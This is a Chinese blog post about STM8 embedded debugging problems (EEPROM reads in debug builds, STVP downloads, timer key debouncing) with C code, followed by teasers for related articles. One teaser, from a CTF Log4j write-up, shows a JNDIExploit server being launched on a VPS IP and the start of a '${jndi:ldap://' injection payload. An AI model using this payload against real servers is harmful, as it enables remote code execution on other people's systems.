STM8遇坑[EEPROM读取debug不正常release正常][ STVP下载成功单运行不成功][定时器消抖莫名其妙的跑不通流程]

EEPROM读取debug不正常release正常

这个超级无语,研究和半天,突然发现调到release就正常了,表现为写入看起来正常读取不正常,这个无语了,不想研究了

STVP下载不能够成功运行

本文摘录于:https://blog.csdn.net/qlexcel/article/details/71270780只是做学习备份之用,绝无抄袭之意,有疑惑请联系本人!
在这里插入图片描述
现在我都只用三根线来调试仿真!

定时器消抖莫名其妙的跑不通流程

这里做了一个定时器消抖功能,但是莫名其妙的无语了,竟然跑不通消抖算法,IO中断函数设置标志位:

/*** @brief External Interrupt PORTB Interrupt routine.* @param  None* @retval None*/
INTERRUPT_HANDLER ( EXTI_PORTB_IRQHandler, 4 )
{/* In order to detect unexpected events during development,it is recommended to set a breakpoint on the following instruction.*/if(GPIO_ReadInputPin(KEY_LIGHTN_GPIO,KEY_LIGHTN_PIN)==0){//uart_printf("KEY_LIGHTN Irq\r\n" );key_judge=KEY_TYPE_LIGHTN;}if(GPIO_ReadInputPin(KEY_SWITCHP_GPIO,KEY_SWITCHP_PIN)==0){//uart_printf("KEY_SWITCHP Irq\r\n" );key_judge=KEY_TYPE_SWITCHP;}
}/*** @brief External Interrupt PORTC Interrupt routine.* @param  None* @retval None*/
INTERRUPT_HANDLER ( EXTI_PORTC_IRQHandler, 5 )
{/* In order to detect unexpected events during development,it is recommended to set a breakpoint on the following instruction.*/if(GPIO_ReadInputPin(KEY_LIGHTP_GPIO,KEY_LIGHTP_PIN)==0){//uart_printf("KEY_LIGHTP Irq\r\n" );key_judge=KEY_TYPE_LIGHTP;}if(GPIO_ReadInputPin(KEY_SWITCHN_GPIO,KEY_SWITCHN_PIN)==0){//uart_printf("KEY_SWITCHN Irq\r\n" );key_judge=KEY_TYPE_SWITCHN;}
}/*** @brief External Interrupt PORTD Interrupt routine.* @param  None* @retval None*/
INTERRUPT_HANDLER ( EXTI_PORTD_IRQHandler, 6 )
{/* In order to detect unexpected events during development,it is recommended to set a breakpoint on the following instruction.*/if(GPIO_ReadInputPin(KEY_OnOff_GPIO,KEY_OnOff_PIN)==0){//uart_printf("KEY_OnOff Irq\r\n" );key_judge=KEY_TYPE_OnOff;}
}

定时器中断设置标志位,然后在while主循环调用消抖函数:

// 定时器 20ms
void TIMER_Initializes( void )
{TIM2_TimeBaseInit( TIM2_PRESCALER_16, 20000 ); TIM2_ClearFlag( TIM2_FLAG_UPDATE );            //清除标志位TIM2_ITConfig( TIM2_IT_UPDATE, ENABLE );       //使能更新UPDATE中断enableInterrupts();                       //使能全局中断TIM2_SetCounter( 0 );                          //计数值归零TIM2_Cmd( ENABLE );                            //启动定时器
}
uint16_t _ticks = 0;
INTERRUPT_HANDLER ( TIM2_UPD_OVF_BRK_IRQHandler, 13 )
{/* In order to detect unexpected events during development,it is recommended to set a breakpoint on the following instruction.*/TIM2_ClearITPendingBit ( TIM2_IT_UPDATE );     //清除中断标志_ticks++;timer_bit_flag.timer20ms_flag = 1;if ( _ticks % 25 == 0 ){timer_bit_flag.timer500ms_flag = 1;}else if ( _ticks % 50 == 0 ){timer_bit_flag.timer1000ms_flag = 1;}
}
void main ( void )
{uint8_t uart_rec_len;CLK_DeInit();CLK_LSICmd ( ENABLE );CLK_HSICmd ( ENABLE );while ( SET != CLK_GetFlagStatus ( CLK_FLAG_HSIRDY ) );CLK_SYSCLKConfig ( CLK_PRESCALER_CPUDIV1 );CLK_HSIPrescalerConfig ( CLK_PRESCALER_HSIDIV1 ); //HSI = 16M (1分频)GPIO_Configuration();TIMER_Initializes();UART_Initializes();//ADC_Initializes();eeprom_init();timer1_init();enableInterrupts();                       //使能全局中断if(g_config.PowerOff){rgb_SetCompare(0,0,0);uart_printf("Device PowerOff\r\n");}while ( 1 ){if ( timer_bit_flag.timer20ms_flag == 1 ){timer_bit_flag.timer20ms_flag = 0;user_timer_handler();}

消抖函数处理完成后调用key_handle函数进行处理,这里出现一个莫名其妙的问题,竟然没有进入下面的语句清除变量,无语了,我的天了,老哥撸代码十来年,搞了大半天,投降了,最后用了在中断中直接进行定时器消抖,无语了!记录再次,以后如果悟到了再来改

int8_t key_state_read(void) 
{switch(key_judge){case KEY_TYPE_LIGHTP:if(GPIO_ReadInputPin(KEY_LIGHTP_GPIO,KEY_LIGHTP_PIN)==0) return ((uint8_t)KEY_TYPE_LIGHTP);else return 0;case KEY_TYPE_LIGHTN:if(GPIO_ReadInputPin(KEY_LIGHTN_GPIO,KEY_LIGHTN_PIN)==0) return ((uint8_t)KEY_TYPE_LIGHTN);else return 0;case KEY_TYPE_SWITCHP:if(GPIO_ReadInputPin(KEY_SWITCHP_GPIO,KEY_SWITCHP_PIN)==0) return ((uint8_t)KEY_TYPE_SWITCHP);else return 0;case KEY_TYPE_SWITCHN:if(GPIO_ReadInputPin(KEY_SWITCHN_GPIO,KEY_SWITCHN_PIN)==0) return ((uint8_t)KEY_TYPE_SWITCHN);else return 0;case KEY_TYPE_OnOff:if(GPIO_ReadInputPin(KEY_OnOff_GPIO,KEY_OnOff_PIN)==0) return ((uint8_t)KEY_TYPE_OnOff);else return 0;default:return 0;}}
void user_timer_handler(void) 
{if(key_judge!=KEY_TYPE_IDLE){if(key_state_read()!=0){		key_loop++;if(key_loop==100){//uart_printf("loop long\r\n");key_handle(key_judge,KEY_ACTION_LONG);key_loop=0;key_judge=KEY_TYPE_IDLE;}}else{if((key_loop>=1)&&(key_loop<100)){		key_handle(key_judge,KEY_ACTION_SHORT);}key_loop=0;//没有进入这里清除变量key_judge=KEY_TYPE_IDLE;}   }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/98584.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python面向对象植物大战僵尸

先来一波效果图 来看看如何设计游戏架构 import sysimport pygameclass BaseSprite(pygame.sprite.Sprite):def __init__(self, name):super().__init__()self.image pygame.image.load(name)self.rect self.image.get_rect()class AnimateSprite(BaseSprite):def __init__(…

Vue 2 处理边界情况

访问元素和组件 通过Vue 2 组件基础一文的学习&#xff0c;我们知道组件之间可以通过传递props或事件来进行通信。 但在一些情况下&#xff0c;我们使用下面的方法将更有用。 1.访问根实例 根实例可通过this.$root获取。 我们在所有子组件中都可以像上面那样访问根实例&…

什么文件传输协议才能保障跨国文件传输安全又稳定

在当今的全球化时代&#xff0c;跨国文件传输是一种常见而又重要的需求&#xff0c;无论是个人还是企业&#xff0c;都需要通过网络来分享和交换各种类型和大小的文件。但是&#xff0c;跨国文件传输也面临着许多挑战和风险&#xff0c;如何选择一个合适的文件传输协议&#xf…

2023国赛数学建模C题思路模型代码 高教社杯

本次比赛我们将会全程更新思路模型及代码&#xff0c;大家查看文末名片获取 之前国赛相关的资料和助攻可以查看 2022数学建模国赛C题思路分析_2022国赛c题matlab_UST数模社_的博客-CSDN博客 2022国赛数学建模A题B题C题D题资料思路汇总 高教社杯_2022国赛c题matlab_UST数模社…

【LeetCode-中等题】15. 三数之和

题目 题解一&#xff1a;双指针法 图解参考链接&#xff1a;画解算法&#xff1a;15. 三数之和 详解参考代码随想录讲的非常好 梦破碎的地方&#xff01;| LeetCode&#xff1a;15.三数之和 代码&#xff1a; class Solution {public List<List<Integer>> thre…

使用 PyTorch 进行高效图像分割:第 2 部分

一、说明 这是由 4 部分组成的系列的第二部分&#xff0c;旨在使用 PyTorch 中的深度学习技术从头开始逐步实现图像分割。本部分将重点介绍如何实现基线图像分割卷积神经网络&#xff08;CNN&#xff09;模型。 图 1&#xff1a;使用 CNN 运行图像分割的结果。按从上到下的顺序…

shell脚本之循环语句

循环语句 循环含义 将某代码段重复运行多次&#xff0c;通常有进入循环的条件和退出循环的条件 for循环语句 一般知道循环次数使用for循环 第一类 格式1&#xff1a; for名称 in 取值次数;do;done; 格式2&#xff1a; for 名称 in {取值列表} do done# 打印20次 for i i…

Blender卡通着色入门

当想到 Blender 和 3D 设计时&#xff0c;你的想法可能会转向风格化渲染或照片级渲染和 VFX。 但是&#xff0c;你是否知道 Blender 还可以创建可与 2D 动漫风格和漫画书类似的图形&#xff1f; 推荐&#xff1a;用 [NSDT编辑器 快速搭建可编程3D场景 1、什么是卡通着色&#x…

re学习(34)攻防世界-csaw2013reversing2(修改汇编顺序)

参考文章&#xff1a; re学习笔记&#xff08;27&#xff09;攻防世界-re-csaw2013reversing2_Forgo7ten的博客-CSDN博客攻防世界逆向入门题之csaw2013reversing2_沐一 林的博客-CSDN博客 三种做法 1、ida静态分析修改指令 main函数反编译的代码 由于运行之后的是乱码&…

ctfshow-Log4j复现-log4j复现

1、买VPS&#xff0c;打开mobax进行ssh连接&#xff0c;开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

计算机网络(9) --- 数据链路层与MAC帧

计算机网络&#xff08;8&#xff09; --- IP与IP协议_哈里沃克的博客-CSDN博客IP与IP协议https://blog.csdn.net/m0_63488627/article/details/132155460?spm1001.2014.3001.5502 目录 1.MAC帧 1.MAC地址 2.MAC帧报头 3.资源碰撞 4.MTU 1.对IP协议的影响 2.对UDP协议…

ARM-M0内核MCU,内置24bit ADC,采样率4KSPS,传感器、电子秤、体脂秤专用,国产IC

ARM-M0内核MCU 内置24bit ADC &#xff0c;采样率4KSPS flash 64KB&#xff0c;SRAM 32KB 适用于传感器&#xff0c;电子秤&#xff0c;体脂秤等等

2023国赛数学建模E题思路模型代码 高教社杯

本次比赛我们将会全程更新思路模型及代码&#xff0c;大家查看文末名片获取 之前国赛相关的资料和助攻可以查看 2022数学建模国赛C题思路分析_2022国赛c题matlab_UST数模社_的博客-CSDN博客 2022国赛数学建模A题B题C题D题资料思路汇总 高教社杯_2022国赛c题matlab_UST数模社…

TCP协议报文结构

TCP是什么 TCP&#xff08;传输控制协议&#xff09;是一种面向连接的、可靠的、全双工的传输协议。它使用头部&#xff08;Header&#xff09;和数据&#xff08;Data&#xff09;来组织数据包&#xff0c;确保数据的可靠传输和按序传递。 TCP协议报文结构 下面详细阐述TCP…

循环内的try-catch 跟循环外的try-catch有什么不一样

起因&#xff1a;一位面试管突然问了这么一道基础的面试题&#xff0c;反而秀了面试者一脸&#xff0c;经常用的却被问到时不知道怎么回答&#xff0c;所以我们平时在写代码的时候&#xff0c;要多注意细节跟原理。也许你不服&#xff1a;不就是先这样&#xff0c;再那样&#…

《论文阅读18》 SSD: Single Shot MultiBox Detector

一、论文 研究领域&#xff1a; 2D目标检测论文&#xff1a;SSD: Single Shot MultiBox Detector ECCV 2016 数据集 论文链接论文github 二、论文概要 SSD网络是作者Wei Liu在ECCV 2016上发表的论文。对于输入尺寸300x300的网络 使用Nvidia Titan X在VOC 2007测试集上达到74…

通过css设置filter 属性,使整个页面呈现灰度效果,让整个网页变灰

通过css设置filter 属性设置页面整体置灰 效果图: 通过设置 filter 属性为 grayscale(100%)&#xff0c;页面中的所有元素都会被应用灰色滤镜效果&#xff0c;使整个页面呈现灰度效果。 <style type"text/css"> html { filter: grayscale(100%); -webkit-f…

【C语言】什么是结构体内存对齐?结构体的大小怎么计算?

目录 1.结构体内存对齐 对偏移量的理解&#xff1a;​ 2.结构体的大小计算 2.1结构体中只有普通的数据类型的大小计算 2.2 结构体中有嵌套的结构体的大小计算 3.修改默认对齐数 4.为什么存在内存对齐? 这篇文章主要介绍结构体内存对齐和如何计算大小。 在学习结构体内存…

axios详解

目录 一、axios 的理解和使用1.1 axios 是什么?1.2 axios 特点1.3 axios 常用语法1.4 axios基本使用1.5 axios.request()使用1.6 axios默认配置1.7 axios创建实例对象1.8 拦截器1.9 取消请求 二、axios 运行的整体流程三、如何取消未完成的请求 一、axios 的理解和使用 1.1 a…

【ElasticSearch】一键安装ElasticSearch与Kibana以及解决遇到的问题

目录 一、安装ES 二、安装Kibana 三、遇到的问题 一、安装ES 按顺序复制即可 docker network create es-net # 创建网络 docker pull images:7.12.1 # 拉取镜像 mkdir -p /root/es/data # 创建数据卷 mkdir -p /root/es/plugins # 创建数据卷 chmod 777 /root/es/** # 设置权…